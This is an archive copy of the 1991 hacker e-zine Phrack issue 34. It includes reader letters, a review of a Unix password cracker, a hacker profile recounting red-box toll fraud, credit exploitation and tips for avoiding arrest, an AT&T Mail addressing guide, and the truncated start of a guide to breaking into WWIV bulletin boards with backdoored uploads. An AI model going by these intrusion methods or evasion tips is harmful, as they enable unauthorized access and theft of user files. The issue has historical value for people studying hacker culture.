Phrack #34

2017-09-27
ID: 94322
CVE: None
Download vulnerable application: None
Phrack Inc.==

                Volume Three, Issue Thirty-four, File #1 of 11

                              Issue XXXIV  Index
                              __________________

                               P H R A C K  3 4

                               October 13, 1991
                              __________________

                           ~Technology for Survival~


     Welcome back to Phrack Inc.  From now on, the editorship will consist of
Crimson Death and Dispater.  We have decided to join both our forces and pool
our assets to make Phrack even better.  We will have accounts at various
Internet sites, however, all file submitions should be mailed to
[email protected]  If you do not have access to the Internet give Free
Speech BBS a call.  Crimson Death will take it from there.

     Special thanks this month goes out to Night Ranger for being great help!
Also thanks to Inhuman and Laughing Gas for taking the time to submit
material.

     Phrack has never really had a distrabution BBS, but you can always get it
on the Internet at EFF.ORG or CS.WIDENER.COM.  Off the Internet, the BBS
distribution will be from Free Speech BBS.  Below are a list of a few other
boards that carry all the Phracks.

                     Free Speech BBS     (618) 549-4955
                     Blitzkreig BBS      (502) 499-8933
                     Digital Underground (812) 941-9427
                     Pyrotechnic's Pit   (407) 254-3655

     We would also like to thank the nameless numbers of BBS's out there that
carry Phrack Inc. without their names being listed here!

     In this issue of Phrack Inc. we are starting a "letters to the editor"
section called "Phrack Loopback."  Any questions, comments, corrections, or
problems that you the reader would like to air with Phrack publically will be
answered there.  Loopback will also contain information such as reviews of
other magazines, catalogs, hardware, and softare.  With Loopback we hope to
make Phrack Inc. more interactive with our readers.

     This month we had an oportunity to interview one of our "hacker hero's",
The Disk Jockey.  We are also trying to "liven up" Phrack World News a little
by adding some editor's comments about recent news topics.  If we get a
positive response, we will continue doing this.  Hopefully you will respond
with your views as well.

Your Editors,

               Crimson Death                          Dispater
            [email protected]               [email protected]
===============================================================================
COMMENTS INSERTED BY SERVER:

	As the server of the Phrack Mailing List, I'd like to get a few
words in.  First, since I am currently a VERY DUMB list server, I am currently
not very interactive.  I am working with the system administrators and owners
to get an interactive "LISTSERV" onto this machine.  I would also like to know
if anyone can get me access to an IP address via SLIP at an Internet site
VERY CLOSE to the Newburgh/Poughkeepsie, NY area.  Another thing I could use
is a Phrack SubBot for IRC.  Something small that would allow you to get
information on the release date of the next Phrack, add your name to the
Mailing List, find out the Index of the last issue and such.  I can handle
awk, perl and 'C'.  An IRC connection (Not the server software) would also
be interesting.  Another thing I heard of and am interested in is something
that might start a seperate list.  There is a game, where you write a program
to make a robot to fight another programmed robot.  You run these against
each other to see who will win.  You can then modify the code to try again.
It needs to be compatible with an IBM Risc/6000 running AIX 3.1.5 running
patch #2006.  Help is also needed with SENDMAIL.CF configuration and etc.
Basically, if you have something that the SERVER might be interested in,
please mail "[email protected]". Also, if someone mentions that they are
not receiving a copy when they asked to subscribe, anything that DOES bounce
back here is automatically deleted.  For example, if something comes back
from [email protected] (Susan Lynn Headley) and I am told
that POKER.LASVEGAS.NV.CA is not connected to CYBERPUNK.HAFNER.MARKOFF.NY.NY
I will NOT attempt to resolve the message.

					Storm King List Server
===============================================================================
_______________________________________________________________________________

                        Phrack XXXIV  Table of Contents
                        =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 1. Introduction to Phrack 34 by Crimson Death & Dispater
 2. Phrack Loopback by The Phrack Staff
 3. Phrack Prophile of The Disk Jockey by The Disk Jockey & Dispater
 4. The AT&T Mail Gateway by Robert Alien
 5. The Complete Guide to Hacking WWIV by Inhuman
 6. Hacking Voice Mail Systems by Night Ranger
 7. An Introduction to MILNET by Brigadier General Swipe
 8. TCP/IP: A Tutorial Part 2 of 2 by The Not
 9. Advanced Modem-Oriented BBS Security by Laughing Gas & Dead Cow
10. PWN/Part01 by Dispater
11. PWN/Part02 by Dispater
_______________________________________________________________________________


--------------------------------------------------------------------------------


                                ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #2 of 11

                         ^[-=:< Phrack Loopback >:=-]^

                             By:  The Phrack Staff

     Phrack Loopback is a forum for you, the reader, to ask questions, air
problems, and talk about what ever topic you would like to discuss.  This is
also the place The Phrack Staff will make suggestions to you by reviewing
various items of note; magazines, software, catalogs, hardware, etc.
_______________________________________________________________________________

What's on Your Mind
~~~~~~~~~~~~~~~~~~

>Date: Fri, 20 Sep 91 01:22:30 -0400
>To: [email protected]
>
>So what exactly DID happen to Agent Steal?  There was a small blurb in
>PWN for 33, but gave no details.  Why was he arrested, what was confiscated,
>and how long will he probably be away for.
>
>Mind you, this is a tragic loss, since Agent Steal was a gifted hacker and
>had a whole lotta balls to boot.
>
>                               Sincerely,
>
>                                   A concerned reader

     To be honest, it would not in his best interest to say much about his
case before his trial.  What we have written comes from a very reliable source.
Some people close to him are denying everything.  This is most likely to keep
from happening to him what happened to people like Mind Rape, who have basically
been "convicted" by the media.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

>From: Drahgon
>Date: Thu Sep 26 06:00:35 1991
>
>    Dear Dispater,
>
>        My name is Drahgon unless, of course.  I have several things to blow
>    from my mind here....
>
>        How is the progress of Phrack  33?  I am not really up on all the
>    hoopla surrounding  it, but  I am  curious.  In  high school  I  often
>    published "underground newsletters" about the manufacture of drugs and
>    explosives, etc.   The computer underground is a  new territory for me
>    and I have just begun.  I would love to hear about your mag....I would
>    perhaps have something to offer.

     We at Phrack Inc. are here to publish any kind of information you the
reader are interested in.  We, unlike many other people out there, will not
judge you and can call you a "lamer" if you submit something to us that we
might think is a little elementary.  We might not necessarily run it in Phrack,
but we aren't the kind of people that are going to call you up in the middle
of the night on an Alliance Teleconference and harass you.  In fact, there are
many text files out there that are out-dated and need to be corrected!
Simply put, if you are interested in it, there are probably two hundred others
out that are afraid to ask, because some El1Te person will call them
"stupid."  Here at Phrack Inc., WE ARE NOT El1Te, WE ARE JUST COOL AS HELL!
We want to help everyone in their quest for knowledge.

>        Secondly,  I want to start  my own bbs up  here in my town.  This
>    town  is dead,  but there  is still a  glint of  life, it  needs to be
>    kindled.  There are currently  no BBS's up here that carry information
>    of  an "alternative nature",  and there  is in fact  laws that prevent
>    them from springing up.  (whatever happened to freedom of the press?),
>    Well,  anyway, I  would like to  know if you  would support  a BBS of
>    mine, and maybe you could give me some pointers...
>
>    Thanx ALOT
>         DRAHGON

     That's great!  We're always glad to see new faces that are truly interested
in helping people by becoming a source of information.  If you
have any questions about BBS's you should ask the expert, Crimson Death.  He
will be more than happy to help you out.
_______________________________________________________________________________

Corrections
~~~~~~~~~~
     In V.3, I#33, File 9 of 13, there was a error.  R5 Should have been a
10K pot and not just a resistor.  The corrected part of the schematic
should look like this:
       _
+9__S1/  _____________________________________________________________
        |        |           |          |                   |   S3    |
       R1       R2           |         R3                o  @  o      |
        |___C1___|      _____|          |_________|/___ /   o   \___  |
        |    ____|_____|_____|____      |     |   |\   |    |      _| |
     _| o   |    6     4    14    |    R4     |__ D1   |    |   R9<   |
 S2   | o  _|5                  13|_____|       _|     |    |__  |    |
        | | |                     |     |__  R5<       |      _| |    |
        g |_|10       IC1        8|_      _|  |        |   R8<   |    |
            |         556         | |__R6<    g        |__  |    |    |
           _|9                  12|_|                    _| |    |    |
          | |                     | |__C2__g          R7<   |    |    |
          | |_11___3___7___2___1__|                    |    |    |    |
_______________________________________________________________________________

Hardware Catalog Review
~~~~~~~~~~~~~~~~~~~~~~
by Twisted Pair

You can never get enough catalogs.  One reason is because you never know what
off-the-wall parts you'll be needing.  From time to time I'll be reviewing
catalogs so you'll be able to learn where to get the really good stuff as far
as computer equipment, telco test equipment, and IC chips are concerned.  In
this issue, we study two of them...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

SYNTRONICS
2143 Guaranty Drive
Nashville, Tennessee  37214
(615) 885-5200

I recently saw an issue of "Nuts and Volts" magazine which had a Syntronics ad
in it.  I sent the dollar they wanted for a catalog.  Apparently, demand for
the catalogs was so  great that they're having some more printed up.  They sent
my dollar back with an explanation and a partial photocopy of the catalog.
An associate on the left coast and I want to build a tone decoder and have been
looking for a particular chip for a long time.  We found it in this catalog.
It's an SSI-202 Tone Decoder IC for $12.  Not bad for a chip I was unable to
locate in about 30 catalogs I've searched through.  A fellow phreak was told by
a zit-faced Radio Shack employee over their 800 number, "They had only 3 left
and they would cost $100 each." I don't think so.

Syntronics is selling plans for an interesting device you hook up to the phone
line.  With it you can call it and  turn on any one of three 110VAC outlets.
To turn them  on you use simple DTMF commands.  This would be useful for
turning on your computer, modem, room bug, security lights, etc from a remote
location.  Plans for this device  cost $9 and you'd need the above-mentioned IC
chip to build it with.

Syntronics carries:
-------------------
 Project Plans    Software    Unusual Hardware    Kits    IC's    Transistors

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Telephone International         (The marketplace for
PO BOX 3589                     communications equipment,
Crossville, Tennessee  38557    services, and employment)
(615) 484-3685

This is a monthly publication you can receive free. It's usually about 30 pages
printed on large yellow-pages paper.  To save yourself the $50 a year
first-class yearly subscription rate, just tell them you're a telephone
technician.  Tell them you need to often buy PBX's, Terminal Blocks, etc.
They'll send it to you free, because you're special!

Here's a sampling of stuff you can find in there:
-------------------------------------------------
A Complete Digital Switching System with 3200 lines on a flatbed trailer !!!!!!
Repaired Payphones                                Optical Fiber xmission system
Operator's Headsets                                     CO Digital multiplexers
AT&T teletypes                                                Used FAX machines
AT&T Chevy bucket trucks                                           Hookswitches

Digital error message announcers     Central Office Coin System Processor Cards

Telephone International lists a bunch of telco seminars happening around the
country on their "Calendar of Events" page.  They also list conferences for
security organizations including dates and phone numbers you'd need to register.

That's it for this edition of Hardware Hacking.  Keep an eye out for good
suppliers to the Phreak world.  Pass'em along to Phrack.

                               -T_W-I_S-T_E-D_
                                  -P_A-I_R-
_______________________________________________________________________________

A Review of the Killer Cracker V.7.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by The Legion of d0oDez

As every hacker worth his/her salt knows, the Unix operating system has major
security problems when it comes to it's passwd file.  Although this may be
good as some people think information should not be hoarded, others think
information should be kept to be people who can use it best, the one's with
the most money.  The passwd file is the Unix file that stores the user
information which included username, home directory, and passwords among
others.  I will not go into the basics of Unix as this is not a Unix
how-to hack file.  It is a review of Killer Cracker 7.0 (aka KC7.)

KC7 is a Unix password hacker that is portable to most machines.  It is
written by Doctor Dissector and is free software as the terms of the GNU
General Public License (By the Free Software Foundation <address at end of
file>) states.  The version 7.0 is not the latest version but seems to be
the best to use.  It is dated as 6/1/91 which makes it pretty recent.  8.0
is rumored to be out but we have not had the opportunity to review it yet as
we are still testing it. ;-)

The best thing about KC7 is that you can run it on most machines that will
run C programs which happens to include MS-DOS machines.  With this in
mind, you can now let your PC do the work of hacking passwords in the privacy
of your own home without having to use a mainframe which might be a bit
risky.  The distribution copy of KC7 comes with the following files:

      KC.EXE -- MS-DOS executable
      KC.DOC -- Documents
  Source.DOC -- The source code to KC
        KC.C -- The Turbo C source code

  And other files that pertain to DES and word files.

KC7 works by taking an ascii file composed of words and encrypting them so
that it can compare the encrypted words with the passwords in the PASSWD file.
It is pretty efficient but if running on an MS-DOS system, you will probably
want to use a machine that is at least a 286-12 or higher.  The time to
complete a PASSWD file is directly proportional to how large the file is
(max size of PASSWD must be less than 64K on an MS-DOS machine) and what
speed of machine you are using.  There are options which allow you to take
words (aka guesses) from other sources as well as a words file.  These
sources can be words from the PASSWD file such as the username, single
characters, and straight ascii characters such as DEL or ^D.  It can also
manipulate the guesses in various ways which might be helpful in guessing
passwords.

Another useful option is the RESTORE function.  KC7 has the ability to
allow the user to abort a crack session and then resume cracking at a
later date.  This is very nice since one does not always have the time
nor patience to crack a 50k passwd file without wanting to use his/her
machine for other uses such as trying out new passwords.

We have found that the best way, as suggested by the author, to crack is by
using the default method which is to crack by word and not by username.
You will understand when you get a hold of the software.

You can get KC7 at most H/P oriented bbs's as everyone thinks he/she is
a Unix wizard nowadays.

Overall, KC7 is an excellent program and we suggest it to all Unix hackers.
We also hope you have enjoyed this file and we look forward to bringing
more interesting reading to your terminal.  Until then.... Happy hacking.
_____________________________________________________________________________


--------------------------------------------------------------------------------


                                ==Phrack Inc.==

                Volume Three, Issue Thirty-Four, File #3 of 11

                -*[  P H R A C K  XXXIV  P R O P H I L E  ]*-

                        -=>[ Presented by Dispater ]<=-

                                The Disk Jockey
                                ~~~~~~~~~~~~~~~
              Handle: The Disk Jockey (over 10 years now...)
            Call him: Doug
           Reach him: [email protected]
        Past handles: None
       Handle origin: Selected it way back in the Apple days, when
                      it was hip to have a hardware-related name.
       Date of Birth: 12/29/67
 Age at current date: 23
Approximate Location: Silicon Valley
              Height: 6'1"
              Weight: 220 lbs.
           Eye color: Green
          Hair Color: Blond/brown
           Education: Cornell, Univ of Michigan, Stanford, and a
                      slew of others schools that I had the
                      opportunity to attend.  What started out as
                      a strong belief in law became so jaded that
                      I fell back on Comp Sci.  Still wake up in
                      the middle of the night yelling "NO!, NO!"
                      Also have a wallpaper degree in Psychology.
           Computers: First: Apple //.  Presently: several.  Mac
                      IIfx, 386/33, and several others that I can't
                      seem to get rid of...

-------------------------------------------------------------------------------

The Story of my Hacking Career
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     I was lucky enough to be able to get my hands on computers early, back in
the days of the PET and the TRS-80.  Although we poke fun at a Trash-80 now, at
the time I was completely fascinated by it.  Remember Newdos/80, LDOS, and
utilities like SuperZap?

     Things started really rolling after a friend introduced me to the Apple.
Although I never fell into the stereotype of being a computer "nerd" (don't we
all like to think that?), compared to the redundancy of normal schoolwork,
learning about the Apple was a new and unexplored world.  Unlike most of the
other computer "types", I didn't read science fiction, didn't have any social
problems, and thought looking at girls was more enjoyable than talking about
hardware.  Well, depending on the hardware. (ha-ha!)

     "Cracking" Apple software was of course the next logical step.  The 6502
was a wonderful chip, and easy to learn.  Copy-cards and other "hacked"
hardware was becoming findable and it was getting to the point that the
only goal was to get your hands on pre-release software.  Before I had entered
the "modem" world, friends had a network of other people across the country and
traded things by mail.

     Of course the whole world changed when I picked up a 300 baud modem.
Suddenly there was the communication and knowledge that I had been hungry for.
People wrote text files on just about everything imaginable.  What is the
president's phone number?  How can I call the pope?  How can I make lowercase
on my Apple II?  What are the routing numbers for boxing to the Eastern Bloc
countries?

     Codes were never much of an interest.  The systems that ran them, however,
were quite interesting.  As technology advanced, SCCs started  using
sophisticated AI techniques to detect any kind of abnormal usage instantly.
Codes used to last several months, now they only lasted a few hours.  Boxing,
however, was a little more elegant and was the flashy way to call your friends.

     Even before I had ever heard of boxing or phreaking, I enjoyed the
benefits of what we now know as a "red box".  While in boarding school, I
noticed that a somewhat broken phone emitted obscenely loud "beeps" when you
dropped in a quarter.  I took a little micro-recorder and recorded myself
dropping about $5.00 into the phone.  When I played this back into the
telephone, the telco thought I was actually dropping change in the machine!  I
was able to call my girlfriend or whomever and speak for hours.  Now most
payphones mute those tones so they are barely audible, if at all.

     Local user groups were a good place to pick up software, legal and
otherwise.  Remember those damn "CLOAD" magazine tapes for the TRS-80? 80-Micro
magazine?  The early 80's was the time of the hardware hacker - anything
bizarre you wanted you had to make yourself, since it wasn't available
otherwise.  Now you can call any of a slew of 800 numbers, give them your
credit card number (!) and have it on your doorstep the next day.

     I think part of the problem of the "new generation" of hackers, phreakers,
warez kids, etc, is that they never had the experience with low-level stuff and
actually having to into the hardware to get what they wanted.  Their only
programming experience is coming from school, which gives a shallow and usually
totally impractical background for the "real world".

     My eventual disgust with the pirate world came when products such as
"Pirate's Friend" came out, allowing people to sector edit out my name and
insert theirs.  I had spent quite a lot of time trying to find new software,
and enjoyed the ego stroke of having my name passed around. I had a lot of
respect for book authors that were plagiarized after that...

About the industry
~~~~~~~~~~~~~~~~~

     The computer industry in general is interesting.  Working in it, I hope
I'm justified to speak about it.  Getting  a job is quite easy, since the
technology is changing so much, unless it is in something that will be around
for some time, you can usually pick up a job by just knowing the latest
developments, the buzzwords, and having good "chemistry".  In the valley many
firms realize that colleges don't really teach you much in the way of practical
knowledge.  At best, they give you the opportunity to try different types of
machines.  It amazes me that HR departments in companies across the country
won't even look at a resume unless the applicant has a college degree.
Advanced degrees are a different matter and are usually quite applicable
towards research, but your usual BA/BS variety?  Nah.  If you want to make a
lot of money in this industry, all you need to do is get the reputation as a
person who "gets things done" and have superior communication skills.  You can
write your ticket after that.

About legal issues
~~~~~~~~~~~~~~~~~

     Anyone who has ever read some of my later text files (1986, 1987) knows
that I had no qualms about the legalities of beating an establishment.
Although my line of morals was probably beyond where others placed theirs, I
could always justify to myself damage or loss to an establishment, "beating the
system", rather than hurting the individual.  Although I am pretty right-winged
in beliefs, I have a great distrust for the policing agencies.

Various memories
~~~~~~~~~~~~~~~

     Getting a call from my father while at school and being told that Control
C had called him and relayed the message "Tell Doug the FBI are after The Disk
Jockey.  Get rid of everything and hide."  To say I "cleaned house" would have
been a gross understatement.  I knew this was true, I, like many others, had
just ridden on the false pretense that they would have better things to do then
come after me.  I later saw intelligence reports showing that I had been kept
track of for some time.  I was described as:

"Involved in some type of student-loan scam through creating fictitious college
applicants at his school.  Very violent temper, ruthless attitude.  Breaks
people's legs for money (TX).  Owns a motorcycle and a european sedan.  Nasty
hacker."

     Only a handful of people would know that I had a motorcycle, so it was
somewhat upsetting that they had this kind of information on me.  I later saw
some of this same information in Michigan Bell Security's records.  They also
had the correct phone number for my place at Cornell, my parents number, and
even the number of some of my personal non-computer related friends.

     SummerCon in 1987 was a fun experience.  I had the opportunity to meet
many of the people that I communicated with regularly, as well as wonder why
people thought St. Louis was such a wonderful place.  While there were a few
socially "on-the-fringe" types, I was amazed that most of the other "hackers"
didn't fit the usual stereotypes.  They were just regular guys that had a some
above average cleverness that allowed them to see the things that others
couldn't.

     By the time I was 20 years old, I had about $40,000 worth of credit on
plastic, as well as a $10,000 line of credit for "signature loans" at a local
bank.  The credit system was something that seemed fun to exploit, and it
doesn't take long to figure out how the "system" works.  With that kind of cash
Aavailable, however, it's tempting to go and buy something outrageous and do
things that you wouldn't normally do if you had the cash.  This country is
really starting to revolve around credit, and it will be very hard to survive
if you don't have some form of it.  If more people were aware of how the credit
systems worked, they might be able to present themselves in a better light to
future creditors.  I don't think that credit is a difficult thing to
understand, I just had an unusual interest in understanding and defeating it.
Perhaps this is something that my future text files should be about.

Getting busted
~~~~~~~~~~~~~

     On June 27, 1988 at 1:47am, I had just parked my car outside my apartment
and was walking up to the door when I heard someone say "Doug?"  I knew that no
friend of mine would be visiting at that hour, so I knew my fate before I
turned around.  An FBI agent, State police detective and a local detective were
walking up to me.  "We have a warrant for your arrest." Interestingly, they had
actually several warrants, since they weren't sure what my name was.  I was
being arrested for 6 counts of "conspiracy to commit fraud".  After being
searched to make sure I wasn't carrying a gun, they asked if they could "go
into my apartment and talk about things".  Although I had completely "cleaned
house" and had nothing to hide in there, I wasn't about to help out an
investigation on me.  "Ah, I think I had better contact an attorney first."
"Is there one you can call right now?"  "Are you kidding?  It's 2:00am!"

     I was handcuffed and had my legs strapped together with a belt and was
thrown in the back of a car.  This was one of those usual government cars that
you see in the movies with the blackwalls and usual hubcaps.  Interestingly
enough, the armrest of the car hid quite an array of radio equipment.  Although
pretty freaked out, I figured the best thing to do at that point was try to get
some sleep and call the best attorney money could by in the morning.

     Little did I know where I was being brought.  I was driven all the way to
a small Indiana town (population 5,000) where a 16 year-old Wheatfield Indiana
boy had made the statement that he and I "agreed to devise a scam".  Although
nothing was ever done, merely planning it created the conspiracy charge.

     I figured that after my arraignment I could post bail and find an
attorney.  I had almost $10k in the bank and could probably find more if I
needed it.  I was sadly mistaken.  The next day at my arraignment the charges
were read and bail was set -- $150,000.00, cash only!

     In a strange turn of events, the FBI decided to totally drop the case
against me.  The federal prosecutor figured it wasn't worth wasting his time
and they jumped out.  However, the Indiana state police were involved in my
arrest and were angry that the FBI was dropping the case after they had
invested so much time and money in the case, so they decided to pursue the case
themselves.  There is so much friction between the FBI and state police, that
the FBI didn't even answer their letters when they tried to request information
and data files on me.

     Funny.  I spent 6 months in a tiny county jail, missing the start and
first semester of school.  I was interrogated constantly.  I never told on a
sole and never made a statement about myself.  I sat in jail daily, reading
books and waiting for my court dates.  Although I never expected it, nobody
ever thanks you when you keep your mouth shut.  I can't imagine that many
people would sit in jail for a long time in order to save their friends.
Perhaps it's a personal thing, but I always thought that although I doubt
someone else would do it for me, I would never, ever tell anything on anyone
else.  I would never be responsible for someone else's demise.  It took a lot
of money, and a lot of friday nights of frustration, but I walked away from
that incident without ever making a statement.  It was at a time when my
"roots" were deepest and I probably could have really turned in a lot of other
people for my benefit, but it was at a time in my life where I could afford to
miss some school and the integrity was more important to me.  There were a lot
of decisions that had to be made, and spending time in jail is nothing to be
proud of, but I never backed down or gave in.  It did provide the time for me
to really re-evaluate who and what I was, and where I was going.

People I've known
~~~~~~~~~~~~~~~~

Compaq            Personal friend for some time now.
Control C         Mostly likely the craziest guy I've ever met.
                  Really nice guy.
Knight Lightning  Would call me up in the middle of the night and
                  want to discuss philosophical and social issues.
                  Kind of guy I would probably get along with outside
                  of computers as well.
Loki              Friend since high school.  Made a big splash in the
                  h/p world, then disappeared from it.  He and I (and
                  Control C) drove to SummerCon together.
Shooting Shark    Great guy who used to be into calling bridges
                  and would yell "Hey, I'm paying for this!"  Truly
                  one of the only people that I ever knew that didn't
                  do anything blatantly illegal.  Most of our email
                  was over the optimization of crypt.  The Mad Alchemist
                  Sysop of Lunatic Labs, one of the only boards that
                  I feel is worth the telephone call anymore.
                  He has given me a lot of slack and runs
                  a BBS that picks up some of the most obscure
                  information.  A sysop that others should be judged
                  by.
Tom Brokaw        Personal friend since childhood that stood by me
                  through thick and thin, bailing me out of trouble
                  time and time again.  I can never thank him enough
                  for being a true friend.

BBSs
~~~
More than I could mention here.  A few more recent notables --

Atlantis          Although run on an Apple, the Lineman had this
                  system so slick and customized that it became the
                  standard that a lot of the PC based boards were
                  created with.  It was the first real
                  "clearinghouse" for text files.
Free World II     Run by Major Havoc and myself, this was an
                  incredibly robust system, and was one of the first
                  to be run on a US Robotics HST. Although it was
                  primarily a discussion board, the file areas
                  offered some of the best files -- virtually no
                  games, but about every real utility and the like.

Metal AE          201-879-6668 - this was a true blue AE line that
                  was around for like 5 or 6 years and was ALWAYS busy.
                  Had all of the original cDc and other bizarre text
                  files, occasionally some new Apple warez.

Lunatic Labs      Still up and still great.

Metal Shop Private    Perhaps one of the best boards of all time.
                      Run by Taran King and had a healthy, yet
                      secure userlog.  It was a closed system, the
                      only way to get on was to know somebody.
                      Everyone on the system knew each other in
                      some sense.

World of Cryton   One of the first boards to have a "philter" and to
                  really push the messages as far as codes, accounts,
                  card numbers, etc.  This was also the demise, along
                  with many of the 414 hackers.

Misc
~~~

2600 Magazine     How could I not like a magazine that published
                  articles I wrote?  This really is a great magazine
                  and anyone who is interested in computers, privacy,
                  or cyber-issues in general should subscribe.

Fame...?          Was in the movie "Hoosiers"  (thanks for bringing
                  that up, Shark!), even though I'm not a basketball
                  fan.  Met Dennis Hopper, etc. Went to school with
                  a lot of famous people's kids.  Most have some
                  pretty serious problems.  Be glad you are who you
                  are.

Marriage...?      I'm single and will do everything I can to stay
                  that way.  When people ask me about getting married
                  I tell them that the idea of car payments scare me.
                  I enjoy having girlfriends, but I've become too
                  independent.  I still run around at bars until
                  sometimes 3:00am or so, but still manage to spend
                  about 50 or 60 hours a week at work.  Even if I cut
                  out the bar scene, I wouldn't have much time to
                  spend with someone else on a daily basis.

Advice            If you ever get into doing illegal things, make
                  sure you do them by yourself.  Your chances of
                  getting caught when you do things solo and resist
                  the temptation to "brag" about them is minimal.
                  When someone else knows about what you have done,
                  it doesn't matter how good of a friend they are.
                  If they get into trouble, you are going to the
                  sacrificial lamb when it comes to negotiating their
                  freedom.  Even the strongest willed individuals
                  seem to crumble when questioned by police.
                  Groups are bad news.  There are very little
                  advantages to being in a group and all it does is
                  increase your personal risk by multitudes.
                  Cracking groups aren't nearly as dangerous, but
                  they DO bring boards down.  Look to the fate of
                  groups such as LOD for examples of group fate.  Lex
                  Luthor, perhaps one of the most elusive and private
                  hackers of all time was the one to bring down the
                  rest of the group.  This was tough for me, as many
                  of the members were people I talked with and could
                  really feel for.

                  Don't get discouraged in life if you feel that you
                  are behind the rest because you don't come from a
                  rich family or have the best equipment.  I left
                  home when I was 17 years old, keeping only minimal
                  contact with my parents since then and lived life
                  pretty well, using my abilities to "smooth talk"
                  and pure enthusiasm to walk into about any job.
                  Don't put people down -- everyone has something to
                  teach you, even the bum on the street might be able
                  to tell you how to make some free phone calls!
                  There is a wealth of information to be found via
                  Usenet, text files, or even your school or public
                  library.  Stay informed and well read.

Email             I always enjoy hearing from people.  Reach me via
                  the Internet at [email protected], or on Lunatic
                  Labs BBS.

________________________________________________________________________________


--------------------------------------------------------------------------------


                                ==Phrack Inc.==
                Volume Three, Issue Thirty-four, File #4 of 11
                            _______________________
                          ||                       ||
                          || The AT&T Mail Gateway ||
                          ||                       ||
                          ||   December 19, 1990   ||
                          ||                       ||
                          ||    by Robert Alien    ||
                          ||_______________________||

The Internet Gateway
~~~~~~~~~~~~~~~~~~~
The Internet Gateway provides Internet e-mail users with a method of
communication to AT&T Mail.  The Interconnect consists of various private
email networks and uses an addressing format better know as Domain Addressing
Service (DAS).

A domain address consists of a user name, followed by an @ sign and/or % sign
and a domain name, which is usually the system name.

Example:

        [email protected]

Sending Email to Internet Users
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To send email from the AT&T MailService to the Internet community use the UUCP
addressing style.

Example:

        internet!system.domain!username

Translates to:

        internet!gnu.ai.mit.edu!jdoe

If you are sending e-mail to an Internet user whose e-mail address may be in
the RFC 822 format ([email protected]), you must translate the RFC address before
sending your message to an Internet recipient.

        [email protected] (Internet user's address)

        internet!system.domain!username (to a UUCP address)

Example:
        username%[email protected] (Internet user's address)

Translates to:
        internet!system.domain!system2!username

Sending Email From The Internet
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To send email to the AT&T Mail Service, Internet users can choose either the
RFC 822 or UUCP addressing style.  The Internet recognizes attmail.com as the
domain identifier for AT&T Mail when electronic messages are sent through the
gateway.  Although many Internet users choose to send e-mail using the RFC 822
addressing style, the UUCP style is also available on many UNIX systems on the
Internet, but not every system supports UUCP.  Below are examples of both
addressing styles:

RFC 822 Addressing: [email protected]com

Example:

        [email protected]

UUCP Addressing: attmail.com!username

Example:

        attmail.com!jdoe

Although email can be sent through the Internet gateway, surcharged services,
such as Telex, FAX, COD, U.S. Mail, overnight, urgent mail and messages
destined to other ADMDs connected to AT&T Mail are not deliverable.  If you are
an Internet e-mail user attempting to use a surcharged service and are not
registered on AT&T Mail, you will not be able to send your message, and will be
automatically notified.  Below is a list of surcharged services that are
unavailable to Internet users.

*  FAX
*  Telex
*  COD
*  U.S. Mail
*  Overnight
*  Administrative Management Domain (ADMD) Messages

Sending Email to Bitnet Users
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To send email to BITNET users from AT&T Mail, enter:

        internet!host.bitnet!user

Sending Email to UUNET Users
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To send email to UUNET users from AT&T Mail via the Internet Gateway, enter:

        attmail!internet!uunet!system!user

Internet Restrictions
~~~~~~~~~~~~~~~~~~~~
The following commercial restrictions apply to the use of the Internet Gateway.

*  Users are prohibited to use the Internet to carry traffic between commercial
   (for profit) electronic messaging systems.

*  Advertising and soliciting i.e., messages offering goods or services for sale
   or offers of jobs.

*  Provision of for-profit service, other than electronic messaging to Internet
   users, is permitted (e.g., database services) if such service is used for
   scholarly research purposes and its costs are borne by individual or
   institutional subscription.
_______________________________________________________________________________


--------------------------------------------------------------------------------


                                ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #5 of 11

                          ***                    ***
                          ***                    ***
                          *** The Complete Guide ***
                          ***  to Hacking WWIV   ***
                          ***                    ***
                          ***     by Inhuman     ***
                          ***   September 1991   ***
                          ***                    ***
                          ***                    ***

     WWIV is one of the most popular BBS programs in the country.  With
thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a
lot of support and community.  The nice thing about WWIV is that it is very
easy to set up.  This makes it popular among the younger crowd of sysops who
can't comprehend the complexities of fossil drivers and batch files.  In this
file, I will discuss four methods of hacking WWIV to achieve sysop access and
steal the user and configuration files.  Just remember the number one rule
of hacking: Don't destroy, alter, or create files on someone else's computer,
unless it's to cover your own trail.  Believe me, there is nothing lower than
the scum who hack BBSes for the sheer pleasure of formatting someone else's
hard drive.  But there is nothing wrong (except legally) with hacking a system
to look at the sysop's files, get phone numbers, accounts, etc.  Good luck.

***
*** Technique #1: The Wildcard Upload
***

     This technique will only work on a board running an unregistered
old version of DSZ and a version of WWIV previous to v4.12.  It is all
based on the fact that if you do a wildcard upload (*.*), whatever file you
upload will go into the same directory as DSZ.COM, which is often the main BBS
directory.  So there are several methods of hacking using this technique.

     If the sysop is running an unmodified version of WWIV, you can simply
compile a modded version of it with a backdoor and overwrite his copy.  Your
new copy will not be loaded into memory until the BBS either shrinks out (by
running an onliner or something), or the sysop terminates the BBS and runs it
again.

     You can also have some fun with two strings that WWIV always recognizes at
the NN: prompt: "[email protected]@!" and "[email protected]@!".  The first is used by
WWIVnet to tell the BBS that it is receiving a net call.  If the BBS is part of
a network and you type "[email protected]@!", it will then wait for the network
password and other data.  If the board is not part of a network, it will just
act like you typed an invalid user name.  The second string is reserved for
whatever programs people wanted to write for WWIV, like an off-line reader or
whatever.  Snarf (the file leeching utility) uses this.  If there is not a
REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you
entered an invalid user name.  So, what you can do is wildcard upload either
REMOTE.COM or NETWORK.COM.  You want to call them COM files, because if the EXE
files already exist, the COM ones will be called first.  If the BBS is part of
a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will
screw up network communications and the sysop will notice a lot faster.  Of
